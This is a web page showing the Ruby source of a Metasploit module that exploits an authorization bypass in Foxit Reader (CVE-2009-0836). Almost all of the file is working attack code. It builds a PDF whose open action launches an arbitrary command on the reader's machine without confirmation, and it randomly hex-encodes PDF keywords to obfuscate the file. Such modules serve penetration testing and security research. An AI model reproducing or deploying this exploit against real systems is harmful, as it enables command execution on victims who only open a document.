Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/pdf/foxit/authbypass.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'Foxit Reader Authorization Bypass',13'Description' => %q{14This module exploits an authorization bypass vulnerability in Foxit Reader15build 1120. When an attacker creates a specially crafted pdf file containing16an Open/Execute action, arbitrary commands can be executed without confirmation17from the victim.18},19'License' => MSF_LICENSE,20'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],21'References' =>22[23[ 'CVE', '2009-0836' ],24[ 'OSVDB', '55615'],25[ 'BID', '34035' ],26],27'DisclosureDate' => '2009-03-09'))2829register_options(30[31OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),32OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])33])3435end3637def run38exec = datastore['CMD']3940# Create the pdf41pdf = make_pdf(exec)4243print_status("Creating '#{datastore['FILENAME']}' file...")4445file_create(pdf)46end4748#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/49def n_obfu(str)50result = ""51str.scan(/./u) do |c|52if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'53result << "#%x" % c.unpack('C*')[0]54else55result << c56end57end58result59end6061def random_non_ascii_string(count)62result = ""63count.times do64result << (rand(128) + 128).chr65end66result67end6869def io_def(id)70"%d 0 obj" % id71end7273def io_ref(id)74"%d 0 R" % id75end7677def make_pdf(exec)7879xref = []80eol = "\x0d\x0a"81endobj = "endobj" << eol8283# Randomize PDF version?84pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol85pdf << "%" << random_non_ascii_string(4) << eol86xref << pdf.length87pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj88xref << pdf.length89pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj90xref << pdf.length91pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj92xref << pdf.length93pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj94xref << pdf.length95pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj96xref << pdf.length97pdf << endobj98xrefPosition = pdf.length99pdf << "xref" << eol100pdf << "0 %d" % (xref.length + 1) << eol101pdf << "0000000000 65535 f" << eol102xref.each do |index|103pdf << "%010d 00000 n" % index << eol104end105pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol106pdf << "startxref" << eol107pdf << xrefPosition.to_s() << eol108pdf << "%%EOF" << eol109110end111end112113114